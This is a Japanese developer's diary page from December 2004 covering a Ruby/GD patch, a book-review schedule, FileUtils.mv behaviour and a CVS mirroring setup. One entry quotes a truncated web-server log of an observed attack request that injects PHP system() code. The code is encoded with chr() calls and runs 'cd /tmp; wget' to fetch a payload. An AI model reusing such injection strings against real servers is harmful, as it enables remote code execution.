history

青木日記 RSS

<前の日 | この月 | 次の日>

2004-12-26

Ruby/GD 続き

中田さんのパッチを当てたら parse error が出たので とりあえずコンパイル通してついでに -Wall もかけといた (条件式中の代入は除く) → http://i.loveruby.net/archive/d/GD.c-nobu.txt

tdiarytimes は問題なく動いているようだ。

(07:34)

変なHTTPアクセス

急にこんなアクセスが増えた。何のアプリケーションを狙った攻撃だろ。

[Sun Dec 26 02:06:55 2004] [error] [client 209.120.238.130] (36)File name too long:
access to /d/20040822.html&highlight=%27%2esystem(chr(99)%2echr(100)%2echr(32)
%2echr(47)%2echr(116)%2echr(109)%2echr(112)%2echr(59)%2echr(119)%2echr(103)
%2echr(101)%2echr(116)%2echr(32)%2echr(119)%2echr(119)%2echr(119)%2echr(46)
%2echr(118....

(07:49)

Linux プログラミング本レビュー (12)

散々混乱させてくれたサーバ分裂も ようやく片付けたことだし、原稿に戻ろう。 ずいぶん遅れちゃったなあ。 今日は 1 章分の返信を終わらせて 4 章を出そう。

というか、このままだと何日かかるんだ。 まず不可能なペースだが毎日 1 章出したとして、

  • 26 (日) 4 章 (バイト)
  • 27 (月) 5 章 (バイト)
  • 28 (火) 6 章
  • 29 (水) 7 章
  • 30 (木) 8 章
  • 31 (金) 9 章
  • 1/1 (土) 10 章
  • 2 (日) 11 章 (バイト)
  • 3 (月) 12 章 (バイト)
  • 4 (火) 13 章 (バイト)
  • 5 (水) 14 章
  • 6 (木) 15 章
  • 7 (金) 16 章
  • 8 (土) 17 章

6 日には大学が始まるから、 それまでに宿題もやんないといけないし。 そういえばレポートもあったような気がするな。 というかこれは流す日程であってレビューが終わる日程ではないんだから、 反応をもらってそれをとりこむのはもっと遅くなるわけだ。

2 章同時に出すしかないか。 まがりなりにも一回書き終わってるわけだから、 短い章なら出せそうな気もする。

とにかく今週が山場だということはよくわかった。

(08:16)

日記ドリブン

ウダウダ言ってるあいだに書けって話もあるが、 俺は日記ドリブンだからなあ (日記にウダウダ書きながらやることを考える)。 日記に何も書いてないときはだいたい活動力が落ちてると考えていい。

fileutils

[ruby-talk:124368] Re: All I want to do is move a directory :(

FileUtils.mv が自分の思った通りに動かなくて怒ってるらしい。 知るか。その操作は mv じゃないってだけじゃん。

だいたい、移動先の .trash/ という名前からすると ゴミ箱を作ろうとしてるんだろ。 それなら上書きしちゃだめだと思うんだよな。 同名のディレクトリがあったら dir.1 とかにバックアップしなきゃ。

あとは rename(2) の挙動の話だけど、 rename 先に空のディレクトリがあった場合だけ 踏み潰されるってのは rename としては正しい挙動。 mv がどうするかは別問題だけど。

(09:00)

rpath

突然思い出したけど、ruby に rpath が 埋め込まれるようになったのは地味に便利だ。 prefix=/usr/pkg/ruby-20041226 とかしてても --enable-shared が動く。

(10:06)

システム構成

昨日のサーバ移動の結果、レビュー関係のシステムは次のようになった。

 /var/cvs/linuxintro                         /var/cvs/jail/linuxintro
 +-----------------+  mirror-repository.rb   +-----------------+
 | CVS repository  | ----------------------> | CVS repository  |  ← remote CVS
 +-----------------+     (cron, 15")         +-----------------+  →
                                                     ↓(cron, 15")
                                             +-----------------+
                                             | CVS working copy|
                                             +-----------------+
                                                    ↓↑
                                             +-----------------+
                                             |    BitChannel   |
                                             +-----------------+

昨日までは mirror-repository.rb のところで物理的にマシンをまたいでおり、 そのためだけに cvsup が動いてたりしてメチャクチャ面倒だった。 今はそれに比べればかなりマシ。

また、見せないでおきたいファイルがあるときは mirror-repository.rb の時点で除外してしまう。 これも昨日まではまず jail 内に cvsup してから rm していた。

それに加えてややこしかったのが NIS と DNS の干渉。 NIS と DNS で同じエントリを入れてあるんだけど、 nsswitch.conf で nis を先にしておいてもなぜか DNS が優先されてしまう。 他のマシンからだと問題ないんだけど。

(11:03)

本日のツッコミ(全4件) [ツッコミを入れる]
なかだ (2004-12-26 11:15)

あれ、古かったかな?
というか404になってますが。

なかだ (2004-12-26 11:17)

発見。
http://i.loveruby.net/archive/d/GD.c-nobu.txtですね。

青木 (2004-12-26 11:28)

しもた。修正しました。

青木 (2004-12-26 11:33)

てす、てす

名前
メールアドレス

<前の日 | この月 | 次の日>
2002|04|05|06|07|08|09|10|11|12|
2003|01|02|03|04|05|06|07|08|09|10|11|12|
2004|01|02|03|04|05|06|07|08|09|10|11|12|
2005|01|02|03|04|05|06|07|08|09|10|11|12|
2006|01|02|03|04|05|06|07|08|09|10|11|12|
2007|01|02|03|04|05|06|07|08|09|10|11|12|
2008|01|02|04|05|06|09|10|
2009|07|
2010|09|

Copyright (c) 2002-2007 青木峰郎 / Minero Aoki. All rights reserved. LIRS